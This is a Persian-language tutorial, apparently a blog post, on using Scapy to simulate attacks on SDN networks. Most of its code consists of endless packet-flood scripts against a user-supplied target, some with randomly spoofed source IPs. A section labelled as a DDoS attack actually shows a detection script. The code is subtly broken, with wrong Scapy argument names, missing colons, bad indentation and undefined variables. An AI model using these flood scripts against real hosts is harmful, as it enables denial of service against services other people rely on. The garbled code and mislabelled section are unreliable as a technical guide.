طریقه استفاده از اسکپی (SCAPY)


مقدمه

همانند شبکه‌های سنتی، امنیت از جمله مسائل مهم در شبکه‌های SDN است. هکر‌ها می‌توانند به کنترل‌کننده‌ها و سوییچ‌ها حمله کنند و منجر به عدم سرویس‌دهی به کاربران، سرقت اطلاعات حساس و زیان مالی برای شرکت فعال در شبکه شوند.حالتی را تصور کنید که کنترلرشبکه شما با حجم زیادی از ترافیک‌های بی‌نظم روبه‌رو شده است، برای مقابله با چنین حالت‌هایی، با مدل‌سازی حمله‌ها، قادر به  شناسایی و تجزیه و تحلیل ریسک‌ها و تهدید‌های موجود در بخش‌های مختلف SDN خواهید بود. تست حمله‌های پر اهمیت همچون DOS وDDOS، توسط ابزار‌هایی همچون SCAPY،  ما را با بسیاری از آسیب‌های آن‌ها و همچنین سایر باگ‌ها آشنا خواهد کرد و در ادامه قادر به برقراری امنیت در شبکه خود خواهیم بود.

 

Scapy چیست؟

یک برنامه پایتون برای ارسال، دریافت، شنود و جعل بسته‌ها است و ابزار قدرتمندی برای رمزگشایی بسیاری از پروتکل‌ها، دستکاری بسته‌ها، فرستادن آن‌ها به شبکه و دریافت پاسخ می‌باشد. مزایای متعددی در مقایسه با دیگر ابزارهای شبکه دارد که از جمله می‌توان به سادگی آن اشاره کرد. با Scapy می‌توانیم بسیاری از حملات همچون arpspoof، Icmp attack،ddos  و dos را پیاده سازی کرد.

طریقه نصب Scapy

بعد از نصب آخرین نسخه از پایتون 3 کد زیر را اجرا کنید:

pip3 install scapy-python3

بعد از اتمام مراحل نصب کد زیر را اجرا کرده و وارد محیط Scapy شوید:

sudo scapy
اجرای scapy

اجرای scapy

نکته!!!

اگر در محیط پایچارم کار می‌کنید توصیه می‌شود که بصورت زیر عمل کنید:

File->Setting-> project interpreter

به آدرس بالا رفته و با انتخاب علامت + اقدام به جستجوی Scapy کنید:

اسکپی در پایچارم

اسکپی در پایچارم

 آشنایی با دستورات SCAPY

 

اگر موافق باشید باهم یک بسته بسازیم و جزئیات آن را بررسی کنیم. به دستورات زیر توجه کنید:

>>> a=IP(ttl=10)
>>> a
< IP ttl=10 |>
>>> a.src
’127.0.0.1’
>>> a.dst="192.168.1.1"
>>> a
< IP ttl=10 dst=192.168.1.1 |>
>>> a.src
’192.168.8.14’
>>> del(a.ttl)
>>> a
< IP dst=192.168.1.1 |>
>>> a.ttl
64

در کد بالا اقدام به ایجاد یک بسته در لایه 3 کرده‌ایم. در واقع توسط دستور IP  این بسته را ساخته و میتوانیم  مبدا و مقصد و سایر جزئیات مربوط به آن را نیز مشخص کنیم. به کد زیر توجه کنید:

sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S"))

در کد بالا همانطور که مشاهده می‌کنید علاوه بر لایه 3، لایه 4 نیز ایجاد شده است که در آن پورت مقصد و برچسب SYN به بسته زده شده است. همچنین برای ارسال بسته‌های ایجاد شده قادر خواهید بود تا از توابع زیر استفاده کنید:

  • sr: ارسال بسته‌ها در لایه 3
  • sr1: ارسال لایه 3 ای بسته‌ها و دریافت یک جواب
  • srp: ارسال و دریافت لایه 2 ای بسته‌ها
  • srp1: ارسال لایه 2ای بسته‌ها و دریافت فقط یک جواب
  • srloop: ایجاد لوپ در لایه 3
  • sniff: شنود بسته‌ها

نکته!!!

می‌توان گفت که از جمله رایجترین و پر اهمیت‌ترین حمله‌ها در SDN، حمله‌های DOS و DDOS هستند. دراین مقاله بطور خاص اقدام به پیاده‌سازی این دو توسط SCAPY کرده‌ایم.

حمله DOS:

حمله DOS

حمله DOS

حمله DOS توسط هکر‌ها و برای ازدسترس خارج کردن منابع شبکه استفاده می‌شود و میتواند یک میزبان متصل به اینترنت را بصورت دائم یا موقتا از دسترس خارج کند. این حملات معمولا وب‌سرور‌های حیاتی همچون بانک‌ها و درگاه‌های پرداختی را مورد هدف قرار می‌دهند.

ازجمله نشانه‌های حمله DOS می‌توان به موارد زیر اشاره کرد:

  • عملکرد کند شبکه( بطور غیر معمول)
  • عدم توانایی در دسترسی به هر وب سایت
  • افزایش ناگهانی تعداد ایمیل‌های اسپم دریافت شده
  • عدم دسترسی به یک وب سایت خاص

انواع حمله‌ DOS و پیاده‌سازی آن با Scapy در پایتون:

نکته!!!

حمله dos می‌تواند در لایه‌ی پیوند داده، شبکه ویا لایه کاربرد اجرا شود .

حالت تک IP و تک Port

تعداد زیادی از بسته‌ها با استفاده از یک IP تنها و از شماره پورت تنها به سرور وب ارسال می‌شوند . این یک حمله سطح پایین است که برای بررسی رفتار کارگزار وب مورد استفاده قرار می‌گیرد . اجرای آن در پایتون را می‌توان با کمک Scapy انجام داد . کدنوشته پایتون زیر به اجرای حمله DoS تک IP کمک خواهد کرد:

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt, inter = .001)
   
   print ("packet sent ", i)
      i = i + 1

بعد ازاجرای کد بالا سوال‌های زیر پرسیده خواهد شد:

  • نشانی IP مبدا ومقصد چیست؟
  • شماره پورت مبدا و مقصد چیست؟
  • سپس تعداد زیادی بسته‌ها را برای چک کردن رفتار خود به سرور ارسال خواهد کرد .

حالت تک IP و چند پورت

تعداد زیادی از بسته‌ها با استفاده از IP تنها و از چندین پورت به سرور وب ارسال می‌شوند . اجرای آن در پایتون را می‌توان با کمک Scapy انجام داد . کدنوشته پایتون زیر به اجرای حمله DOS باتک  IP و چند پورت کمک خواهد کرد:

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt, inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

حالت چند IP و تک پورت

تعداد زیادی از بسته‌ها با استفاده از IP چندگانه و شماره پورت منفرد به سرور وب ارسال می‌شوند :

from scapy.all import *
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   
   Source_ip = a + dot + b + dot + c + dot + d
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt,inter = .001)
   print ("packet sent ", i)
      i = i + 1

حالت چندین IP و چندین پورت

تعداد زیادی از بسته‌ها با استفاده از IP های چندگانه و از چندین پورت به سرور وب ارسال می‌شوند :

Import random
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   Source_ip = a + dot + b + dot + c + dot + d
   
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt,inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

حمله DDOS

حمله DDOS

حمله DDOS

حمله DDOS تلاشی به منظور از دسترس خارج کردن یک سرویس آنلاین و یا یک وب سرور است که با افزایش ناگهانی ترافیک از چندین مبدا انجام می‌گیرد. برخلاف حمله DOS که هکر از یک مبدا ویک اتصال اینترنت اقدام به حمله می‌کند، در این حالت از چندین کامپیوتر و چندین اتصال اینترنت استفاده می‌شود. در حقیقت حمله DDoS کمی مشکل است چون شما  نمی‌دانید میزبانی که ترافیک را ارسال می‌کند جعلی یا واقعی است . کدنوشته پایتون که در زیر داده شده‌است ، حمله DDoS پیاده‌سازی می‌کند :

import socket
import struct
from datetime import datetime
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)
dict = {}
file_txt = open("attack_DDoS.txt",'a')
t1 = str(datetime.now())
file_txt.writelines(t1)
file_txt.writelines("\n")

در کد بالا ما نیاز داریم یک سوکت را ایجادکنیم. علاوه براین اقدام  به تعریف یک دیکشنری خالی( dict) و یک فایل متنی به منظور نوشتن نتیجه کد به داخل آن کرده‌ایم.

حال ، ما نیاز داریم که تعداد درخواست‌ها از یک IP خاص بدست بیاوریم . در اینجا فرض می‌کنیم که اگر از یک IP خاص بیش از ۱۵ بار مورد اصابت درخواست داشته باشیم ، این یک حمله خواهد بود .

No_of_IPs = 15
R_No_of_IPs = No_of_IPs +10
   while True:
      pkt = s.recvfrom(2048)
      ipheader = pkt[0][14:34]
      ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
      IP = socket.inet_ntoa(ip_hdr[3])
      print "The Source of the IP is:", IP

 

کد زیر بررسی خواهد کرد که آیا IP در دیکشنری تعریف شده در بالا(dict) وجود دارد یا نه . اگر وجود داشته باشد ، آن را تا ۱ افزایش خواهد داد :

if dict.has_key(IP):
   dict[IP] = dict[IP]+1
   print dict[IP]

کد بعدی برای حذف افزونگی مورد استفاده قرار می‌گیرد:

if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) :
   line = "DDOS attack is Detected: "
   file_txt.writelines(line)
   file_txt.writelines(IP)
   file_txt.writelines("\n")
else:
   dict[IP] = 1

بعد از اجرای اسکریپت های بالا ، ما نتیجه را در یک فایل متنی بدست می‌آوریم . براساس این اسکریپت ، اگر یک IP بیش از ۱۵ بار مورد اصابت قرار گیرد ، پس از آن حمله DDoS به همراه آن نشانی IP ردیابی می‌شود و به چاپ خواهد رسید .

نتیجه‌گیری

در این مقاله قصد آشنایی شما عزیزان با برنامه SCAPY را داشتیم. بسیاری از دوستان در مورد شبیه‌سازی حمله‌های مختلف در SDN  پرسیده بودند، امیدواریم با مطالعه این مقاله تونسته باشیم  که شما را راهنمایی هرچند کوچک،   در راستای سوالاتتان، کرده باشیم. ممنون از اینکه مارا همراهی می‌کنید.منتظر نظرات و پیشنهادات شما دوستان عزیزمان هستیم.

 

 

 

 

 

 

  t.me/SDNCentral

 

(2) دیدگاه

  • Avatar
    باربری پاسخ

    ممنون از مطلب خوبتون بسیار مفید بود

     
    ۷ خرداد ۱۳۹۸ در ۲:۴۱ ب.ظ
  • Avatar
    باربری پاسخ

    خیلی مفید بود ممنون. اگه میشه همیشه از این مطالب بذارید

     
    ۱۲ خرداد ۱۳۹۸ در ۹:۲۸ ق.ظ

پاسخی بگذارید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *